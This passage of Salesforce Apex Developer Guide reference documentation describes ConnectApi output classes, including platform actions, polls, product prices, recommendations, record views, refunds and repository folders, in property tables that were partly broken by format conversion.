### ConnectApi.PlatformAction

A platform action instance with state information for the context user.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>actionUrl</td>
<td>String</td>
<td>For action links of subtype Ui or Download, direct the user to download or visit the UI from this link. Salesforce issues a Javascript redirect for the link in this format: /action-link-redirect/communityId/actionLinkId?_bearer=BearerToken. For Api action links and for all platform actions, this value is null and Salesforce handles the call.</td>
<td>33.0</td>
</tr>
<tr>
<td>apiName</td>
<td>String</td>
<td>The API name. The value may be null.</td>
<td>33.0</td>
</tr>
<tr>
<td>confirmation Message</td>
<td>String</td>
<td>If this action requires a confirmation and has a status of NewStatus, this is a default localized message that should be shown to an end user prior to invoking the action. Otherwise, this is null.</td>
<td>33.0</td>
</tr>
<tr>
<td>executingUser</td>
<td>ConnectApi.User Summary</td>
<td>The user who initiated execution of this platform action.</td>
<td>33.0</td>
</tr>
<tr>
<td>groupDefault</td>
<td>Boolean</td>
<td>true if this platform action is the default or primary platform action in the platform action group; false otherwise. There can be only one default platform action per platform action group.</td>
<td>33.0</td>
</tr>
<tr>
<td>iconUrl</td>
<td>String</td>
<td>The URL of the icon for the platform action. This value may be null.</td>
<td>33.0</td>
</tr>
<tr>
<td>Property Name</td>
<td>Type</td>
<td>Description</td>
<td>Available Version</td>
</tr>
<tr>
<td>--------------------</td>
<td>-----------------------</td>
<td>---------------------------------------------------------------------------------------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td><code>id</code></td>
<td><code>String</code></td>
<td>The ID for the platform action. If the <code>type</code> is <code>QuickAction</code> and the <code>subtype</code> is <code>Create</code>, this value is <code>null</code>.</td>
<td>33.0</td>
</tr>
<tr>
<td><code>label</code></td>
<td><code>String</code></td>
<td>The localized label for this platform action.</td>
<td>33.0</td>
</tr>
<tr>
<td><code>modifiedDate</code></td>
<td><code>Datetime</code></td>
<td>An ISO 8601 format date string, for example, 2011-02-25T18:24:31.000Z.</td>
<td>33.0</td>
</tr>
<tr>
<td><code>platformActionGroup</code></td>
<td><code>Reference</code></td>
<td>A reference to the platform action group containing this platform action.</td>
<td>33.0</td>
</tr>
<tr>
<td><code>status</code></td>
<td><code>PlatformActionStatus</code></td>
<td>The execution status of the platform action. Values are:</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>FailedStatus</code>—The action link execution failed.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>NewStatus</code>—The action link is ready to be executed. Available for <code>Download</code> and <code>Ui</code> action links only.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>PendingStatus</code>—The action link is executing. Choosing this value triggers the API call for <code>Api</code> and <code>ApiAsync</code> action links.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>SuccessfulStatus</code>—The action link executed successfully.</td>
<td></td>
</tr>
<tr>
<td><code>subtype</code></td>
<td><code>String</code></td>
<td>The subtype of a platform action or <code>null</code>. If the <code>type</code> property is <code>ActionLink</code>, possible values are:</td>
<td>33.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>Api</code>—The action link calls a synchronous API at the action URL. Salesforce sets the status to <code>SuccessfulStatus</code> or <code>FailedStatus</code> based on the HTTP status code returned by your server.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>ApiAsync</code>—The action link calls an asynchronous API at the action URL. The action remains in a <code>PendingStatus</code> state until a third party makes a request to <code>/connect/action-links/actionLinkId</code> to set the status to <code>SuccessfulStatus</code> or <code>FailedStatus</code> when the asynchronous operation is complete.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>Download</code>—The action link downloads a file from the action URL.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <code>Ui</code>—The action link takes the user to a web page at the action URL.</td>
<td></td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>type</td>
<td>ConnectApi.PlatformActionType</td>
<td>The type of platform action. Values are:</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ActionLink—An indicator on a feed element that targets an API, a web page, or a file, represented by a button in the Salesforce UI.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• CustomButton—When clicked, opens a URL or a Visualforce page in a window or executes JavaScript.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• ProductivityAction—Productivity actions are predefined and attached to a limited set of objects. Productivity actions include Send Email, Call, Map, View Website, and Read News. Except for the Call action, you can’t edit productivity actions.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• QuickAction—A global or object-specific action.</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• StandardButton—A predefined Salesforce button such as New, Edit, or Delete.</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL for this platform action. If the type is QuickAction and the subtype is Create, this value is null.</td>
</tr>
</tbody>
</table>

**Note:** Invoking `ApiAsync` action links from an app requires a call to set the status. However, there isn’t currently a way to set the status of an action link using Apex. To set the status, use Connect REST API. See the Action Link resource in the *Connect REST API Developer Guide* for more information.

**SEE ALSO:**
- `ConnectApi.PlatformActionGroup`

**ConnectApi.PlatformActionGroup**

A platform action group instance with state appropriate for the context user.

Action link groups are one type of platform action group and are therefore represented as `ConnectApi.PlatformActionGroup` output classes.
<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| category      | ConnectApi.PlatformActionGroupCategory | Indicates the priority and relative locations of platform actions. Values are:  
  - Primary—The action link group is displayed in the body of the feed element.  
  - Overflow—The action link group is displayed in the overflow menu of the feed element. | 33.0 |
| id            | String | The 18-character ID or an opaque string ID of the platform action group.  
  If the ConnectApi.PlatformAction type is QuickAction and the subtype is Create, this value is null. | 33.0 |
| modifiedDate  | Datetime | ISO 8601 date string, for example, 2014-02-25T18:24:31.000Z. | 33.0 |
| platformActions | List<ConnectApi.PlatformAction> | The platform action instances for this group.  
  Within an action link group, action links are displayed in the order listed in the actionLinks property of the ConnectApi.ActionLinkGroupDefinitionInput class. Within a feed item, action link groups are displayed in the order specified in the actionLinkGroupIds property of the ConnectApi.AssociatedActionsCapabilityInput class. | 33.0 |
| url           | String | The URL for this platform action group.  
  If the ConnectApi.PlatformAction type is QuickAction and the subtype is Create, this value is null. | 33.0 |

**ConnectApi.PollCapability**

If a feed element has this capability, it includes a poll.  
Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>choices</td>
<td>List&lt;ConnectApi.FeedPollChoice&gt;</td>
<td>Collection of poll choices that make up the poll.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
### Property Name: myChoiceId
- **Type:** String
- **Description:** 18-character ID of the poll choice that the context user has voted for in this poll. Returns `null` if the context user has not voted.
- **Available Version:** 32.0

### Property Name: totalVoteCount
- **Type:** Integer
- **Description:** Total number of votes cast on the feed poll element.
- **Available Version:** 32.0

### ConnectApi.ProductPrice

Product price.

**currencyIsoCode**

Three-letter ISO 4217 currency code associated with the product.

**Type**: String

**Available Version**: 49.0

**Description**: String

**Property Name**: currencyIsoCode

**listPrice**

List price for the product.

**Type**: String

**Available Version**: 49.0

**Description**: String

**Property Name**: listPrice

**priceAdjustment**

Price adjustment schedule for the product.

**Type**: ConnectApi.PriceAdjustment.Schedule

**Available Version**: 49.0

**Description**: ConnectApi.PriceAdjustment.Schedule

**Property Name**: priceAdjustment

**pricebookEntryId**

ID of the pricebook entry.

**Type**: String

**Available Version**: 49.0

**Description**: String

**Property Name**: pricebookEntryId

**unitPrice**

Unit price for the product.

**Type**: String

**Available Version**: 49.0

**Description**: String

**Property Name**: unitPrice

---

### ConnectApi.ProductVariationInfo

Product variation attributes, metadata, and mappings of attribute combinations to variation product IDs.

**attributesToProductMappings**

Map of the attribute value combinations to the variation product ID.

**Type**: List<ConnectApi.ProductAttributes.ToProductEntry>

**Available Version**: 50.0

**Description**: List<ConnectApi.ProductAttributes.ToProductEntry>

**Property Name**: attributesToProductMappings

---

2275
### ConnectApi.Namespace

#### ConnectApi.ProductAttributeInfo

Map of field API name to product attribute information.

<table>
<thead>
<tr>
<th>Property Name</th>

<td>List of questions.</td>
<td>32.0</td>
</tr>
</tbody>
</table>
ConnectApi.RankAverageDistanceOutputRepresentation

The results of calculating the average distances from sets of inventory locations to an order recipient.

Subclass of ConnectApi.BaseOutputRepresentation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>distanceUnit</td>
<td>String</td>
<td>The specified unit of distance (miles or kilometers).</td>
<td>51.0</td>
</tr>
<tr>
<td>results</td>
<td>List&lt;ConnectApi.AverageDistanceResultOutputRepresentation&gt;</td>
<td>The results of the shipping distance calculations.</td>
<td>51.0</td>
</tr>
</tbody>
</table>

ConnectApi.ReadBy

Information about who read the feed element and when.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>lastReadDateByUser</td>
<td>Datetime</td>
<td>When the user last read the feed element in ISO 8601 format.</td>

<td>user</td>
<td>ConnectApi.UserSummary</td>
<td>Information about the user who read the feed element.</td>
<td>40.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.ReadByPage

ConnectApi.ReadByCapability

If a feed element has this capability, the context user can mark it as read.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isReadByMe</td>
<td>Boolean</td>
<td>Specifies whether the feed element has been read (true) or not (false) by the context user.</td>
<td>40.0</td>
</tr>
<tr>
<td>lastReadDateByMe</td>
<td>Datetime</td>
<td>Last date when the feed element was marked read for the context user in ISO 8601 format. Otherwise, null.</td>
<td>40.0</td>
</tr>
<tr>
<td>page</td>
<td>ConnectApi.ReadByPage</td>
<td>First page of information about who read the feed element and when.</td>
<td>40.0</td>
</tr>
</tbody>
</table>

## ConnectApi.Recommendation

A Next Best Action recommendation object.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>acceptanceLabel</td>
<td>String</td>
<td>Text indicating user acceptance of the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>actionReference</td>
<td>String</td>
<td>Reference to the action to perform, for example, launching a flow.</td>
<td>45.0</td>
</tr>
<tr>
<td>description</td>
<td>String</td>
<td>Description of the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>externalId</td>
<td>String</td>
<td>External ID of the recommendation. This ID doesn’t need to be a Salesforce 18-character ID. For example, it can be a product number from an external system.</td>
<td>46.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the recommendation.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
## ConnectApi.RecommendationAudience

A custom recommendation audience.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>criteria</td>
<td>ConnectApi.AudienceCriteria</td>
<td>The criteria for the custom recommendation audience type.</td>

<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>detailsUrl</td>
<td>String</td>
<td>URL to explanation details or null if the Chatter recommendation doesn’t have a detailed explanation.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

### ConnectApi.RecommendationReaction
A reaction to a recommendation produced by a recommendation strategy

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>aiModel</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>47.0</td>
</tr>
<tr>
<td>contextRecord</td>
<td>ConnectApi.Reference</td>
<td>Reference to the context record.</td>
<td>45.0</td>
</tr>
<tr>
<td>createdBy</td>
<td>ConnectApi.Reference</td>
<td>Reference to the reaction creator.</td>
<td>45.0</td>
</tr>
<tr>
<td>createdDate</td>
<td>Datetime</td>
<td>Reaction creation date.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
### Available Version

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>externalId</td>
<td>String</td>
<td>External target ID of the recommendation reacted on.</td>
<td>46.0</td>
</tr>
<tr>
<td>id</td>
<td>String</td>
<td>Reaction record ID.</td>
<td>45.0</td>
</tr>
<tr>
<td>onBehalfOf</td>
<td>ConnectApi.</td>
<td>Reference to the user or record that is indirectly reacting to the recommendation.</td>
<td>45.0</td>
</tr>
<tr>
<td>reactionType</td>
<td>ConnectApi.</td>
<td>Type of reaction to a recommendation. Values are:</td>
<td>45.0</td>
</tr>
<tr>
<td>recommendationMode</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>46.0</td>
</tr>
<tr>
<td>recommendationScore</td>
<td>Double</td>
<td>Reserved for future use.</td>
<td>46.0</td>
</tr>
<tr>
<td>strategy</td>
<td>ConnectApi.</td>
<td>Strategy that recommended the target record.</td>
<td>45.0</td>
</tr>
<tr>
<td>targetAction</td>
<td>ConnectApi.</td>
<td>Target action that is recommended.</td>
<td>45.0</td>
</tr>
<tr>
<td>targetRecord</td>
<td>ConnectApi.</td>
<td>Reference to the target record.</td>
<td>45.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the recommendation reaction.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

### SEE ALSO:

- ConnectApi.RecommendationReactions

**ConnectApi.RecommendationReactions**

A list of recommendation reactions.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>URL to the current page of reactions in the collection.</td>
<td>45.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>URL to the next page of reactions in the collection.</td>
<td>45.0</td>
</tr>
<tr>
<td>reactions</td>
<td>List&lt;ConnectApi. RecommendationReaction&gt;</td>
<td>Collection of recommendation reactions.</td>
<td>45.0</td>
</tr>
</tbody>
</table>
ConnectApi.RecommendationsCapability

If a feed element has this capability, it has a recommendation.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.AbstractRecommendation&gt;</td>
<td>A list of recommendations.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

ConnectApi.FeedElementCapabilities

ConnectApi.RecommendedObject

A recommended object, such as a custom or static recommendation.

Subclass of ConnectApi.Actor

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>idOrEnum</td>
<td>String</td>
<td>ID of a recommendation definition for a custom recommendation or the enum value <em>Today</em> for static recommendations that don't have an ID (version 35.0 and later).</td>
<td>34.0</td>
</tr>
<tr>
<td>motif</td>
<td>ConnectApi.Motif</td>
<td>Motif of the recommended object.</td>
<td>34.0</td>
</tr>
</tbody>
</table>

ConnectApi.RecordCapability

If a comment has this capability, it has a record attachment.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordId</td>
<td>String</td>
<td>ID of the record.</td>
<td>42.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>URL to the record.</td>
<td>42.0</td>
</tr>
</tbody>
</table>

ConnectApi.RecordField

A generic record field containing a label and text value.

Subclass of ConnectApi.LabeledRecordField.
No additional properties.

SEE ALSO:
- ConnectApi.CompoundRecordField
- ConnectApi.OrderItemSummary
- ConnectApi.OrderItemSummaryProduct
- ConnectApi.OrderDeliveryGroupSummary
- ConnectApi.OrderSummaryRepresentation

ConnectApi.RecordSnapshot
A record snapshot in a recommendation reaction.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>ID of the record.</td>
<td>45.0</td>
</tr>
<tr>
<td>nameAtSnapshot</td>
<td>String</td>
<td>Name of the record when the ID was recorded.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.RecommendationReaction

ConnectApi.RecordSnapshotCapability
If a feed element has this capability, it contains all the snapshotted fields of a record for a single create record event.

Subclass of ConnectApi.FeedElementCapability.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordView</td>
<td>ConnectApi.RecordView</td>
<td>A record representation that includes metadata and data so you can display the record easily.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- ConnectApi.FeedElementCapabilities

ConnectApi.RecordSummary
Record summary.
Subclass of ConnectApi.AbstractRecordView.
### ConnectApi RecordSummaryList

Summary information about a list of records in the organization including custom objects.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>records</td>
<td>List&lt;ConnectApi.ActorWithId&gt;</td>
<td>A list of records.</td>
<td>30.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL to this list of records.</td>
<td>30.0</td>
</tr>
</tbody>
</table>

### ConnectApi RecordView

A view of any record in the org, including a custom object record. This object is used if a specialized object, such as User or ChatterGroup, is not available for the record type.

Subclass of ConnectApi.AbstractRecordView.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>sections</td>
<td>List&lt;ConnectApi.RecordViewSection&gt;</td>
<td>A list of record view sections.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi RecordViewSection

A section of record fields and values on a record detail.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>columnCount</td>
<td>Integer</td>
<td>The number of columns to use to lay out the fields in a record section.</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### ConnectApi.RecordColumnOrder

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>columnOrder</td>
<td>ConnectApi.RecordColumnOrder</td>
<td>The order of the fields to use in the <code>fields</code> property to lay out the fields in a record section.</td>
<td>29.0</td>
</tr>
<tr>
<td></td>
<td>Enum</td>
<td>- <strong>LeftRight</strong>—Fields are rendered from left to right.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>- <strong>TopDown</strong>—Fields are rendered from the top down.</td>
<td></td>
</tr>
</tbody>
</table>

### ConnectApi.AbstractRecordField

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>fields</td>
<td>ConnectApi.AbstractRecordField</td>
<td>The fields and values for the record contained in this section.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.RecordField

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>heading</td>
<td>String</td>
<td>A localized label to display when rendering this section of fields.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isCollapsible</td>
<td>Boolean</td>
<td>Indicates whether the section can be collapsed to hide all the fields (true) or not (false).</td>
<td>29.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

- ConnectApi.RecordView

### ConnectApi.Reference

Reference to a record.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>id</td>
<td>String</td>
<td>The ID of the record being referenced, which could be an 18-character ID or some other string identifier.</td>
<td>28.0</td>
</tr>
<tr>
<td>url</td>
<td>String</td>
<td>The URL to the resource endpoint.</td>
<td>28.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ReferenceRecordField

A record field with a label and text value.

Subclass of ConnectApi.LabeledRecordField.

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>reference</td>
<td>ConnectApi.RecordSummary</td>
<td>The object referenced by the record field.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ReferencedRefundResponse

Refund comprehensive output.
## ConnectApi Namespace

### Apex Developer Guide

#### ConnectApi.ErrorResponse on page 2175

**error**

Error response representation for the refund.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>error</td>
<td>ConnectApi.ErrorResponse</td>
<td>Error response representation for the refund.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.RefundGatewayResponse

Gateway response received for the processed refund request.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>gatewayResponse</td>
<td>ConnectApi.RefundGatewayResponse</td>
<td>Gateway response received for the processed refund request.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.GatewayLogResponse

Gateway log collection representation for the refund.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>paymentGatewayLogs</td>
<td>List&lt;ConnectApi.GatewayLogResponse&gt;</td>
<td>Gateway log collection representation for the refund.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.PaymentGroupResponse

Payment group associated with the refund.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>paymentGroup</td>
<td>ConnectApi.PaymentGroupResponse</td>
<td>Payment group associated with the refund.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

#### ConnectApi.RefundResponse

Refund response representation.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>refund</td>
<td>ConnectApi.RefundResponse</td>
<td>Refund response representation.</td>
<td>50.0</td>
</tr>
</tbody>
</table>

### ConnectApi.ReferenceWithDateRecordField

A record field containing a referenced object that acted at a specific time, for example, “Created By...”.

Subclass of ConnectApi.LabeledRecordField.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>dateValue</td>
<td>Datetime</td>
<td>A time at which the referenced object acted.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>reference</td>
<td>ConnectApi.RecordSummary</td>
<td>The object referenced by the record field.</td>
<td>29.0</td>
</tr>
</tbody>
</table>

### ConnectApi.RefundGatewayResponse

Refund gateway response.

No additional properties.

### ConnectApi.RefundResponse

Refund output.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>accountId</td>
<td>String</td>
<td>ID of the account related to the refund record.</td>
<td>50.0</td>
</tr>
<tr>
<td>amount</td>
<td>Double</td>
<td>Total amount of the refund transaction performed in the payment request.</td>
<td>50.0</td>
</tr>
<tr>
<td>currencyIsoCode</td>
<td>String</td>
<td>Three-letter ISO 4217 currency code associated with the payment group record.</td>
<td>50.0</td>
</tr>
<tr>
<td>effectiveDate</td>
<td>Datetime</td>
<td>Date that the refund becomes effective.</td>
<td>50.0</td>
</tr>
</tbody>
</table>
### ConnectApi.RelatedFeedPost

This class is abstract.

Subclass of: ConnectApi.ActorWithId

Superclass of: ConnectApi.RelatedQuestion

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>score</td>
<td>Double</td>
<td>Score of the related feed post that indicates how closely related it is to the context feed post.</td>
<td>37.0</td>
</tr>
<tr>
<td>title</td>
<td>String</td>
<td>Title of the related feed post.</td>
<td>37.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

- ConnectApi.RelatedFeedPosts

### ConnectApi.RelatedFeedPosts

A collection of related feed posts.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>relatedFeedPosts</td>
<td>List&lt;ConnectApi.RelatedFeedPost&gt;</td>
<td>Collection of related feed posts.</td>
<td>37.0</td>
</tr>
</tbody>
</table>

### ConnectApi.RelatedQuestion

A related question.

Subclass of: ConnectApi.RelatedFeedPost

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>hasBestAnswer</td>
<td>Boolean</td>
<td>Indicates whether the question has a best answer.</td>
<td>37.0</td>
</tr>
</tbody>
</table>
### ConnectApi.ReplyIntent

Reply intent for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>managedSocialAccount</td>
<td>ConnectApi. ManagedSocialAccount</td>
<td>Managed social account that replies to the social post</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:  
- ConnectApi.ReplyIntents

### ConnectApi.ReplyIntents

List of reply intents for a social post.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>replies</td>
<td>List&lt;ConnectApi.ReplyIntent&gt;</td>
<td>List of reply intents for the social post.</td>
<td>45.0</td>
</tr>
</tbody>
</table>

SEE ALSO:  
- ConnectApi.SocialPostIntents

### ConnectApi.RepositoryFileDetail

A detailed description of a repository file.  
Subclass of ConnectApi.AbstractRepositoryFile  
No additional properties.

### ConnectApi.RepositoryFileSummary

A summary of a repository file.  
Subclass of ConnectApi.AbstractRepositoryFile  
No additional properties.

SEE ALSO:  
- ConnectApi.RepositoryFolderItem
**ConnectApi.RepositoryFolderDetail**

A detailed description of a repository folder.

Subclass of **ConnectApi.AbstractRepositoryFolder**

No additional properties.

**ConnectApi.RepositoryFolderItem**

A folder item.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>file</td>
<td>ConnectApi.Repository FileSummary</td>
<td>If the folder item is a file, the file summary. If the folder item is a folder, null.</td>
<td>39.0</td>
</tr>
<tr>
<td>folder</td>
<td>ConnectApi.Repository FolderSummary</td>
<td>If the folder item is a folder, the folder summary. If the folder item is a file, null.</td>
<td>39.0</td>
</tr>
</tbody>
</table>
| type          | ConnectApi.FolderItemType | Type of item in a folder. Values are:  
  • file  
  • folder | 39.0 |

**ConnectApi.RepositoryFolderItemsCollection**

A collection of repository folder items.

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>currentPageUrl</td>
<td>String</td>
<td>URL to the current page of items.</td>
<td>39.0</td>
</tr>
<tr>
<td>items</td>
<td>List&lt;ConnectApi.Repository FolderItem&gt;</td>
<td>Collection of items in a repository folder.</td>
<td>39.0</td>
</tr>
<tr>
<td>nextPageUrl</td>
<td>String</td>
<td>URL to the next page of items, or <strong>null</strong> if there isn't a next page.</td>
<td>39.0</td>
</tr>
<tr>
<td>previousPageUrl</td>
<td>String</td>
<td>URL to the previous page of items, or <strong>null</strong> if there isn't a previous page.</td>
<td>39.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RepositoryFolderSummary**

A summary of a repository folder.

Subclass of **ConnectApi.AbstractRepositoryFolder**
No additional properties.

SEE ALSO:
- ConnectApi.RepositoryFolderItem

**ConnectApi.RepositoryGroupSummary**

A group summary.

Subclass of ConnectApi.AbstractDirectoryEntrySummary

<table>
<thead>
<tr>
<th>Property Name</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>groupType</td>
<td>ConnectApi.ContentHubGroupType</td>
<td>Type of group. Values are:</td>
<td>39.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Everybody—Group is public to everybody.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• EverybodyInDomain—Group is public to everybody in the same domain.</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Unknown—Group type is unknown.</td>
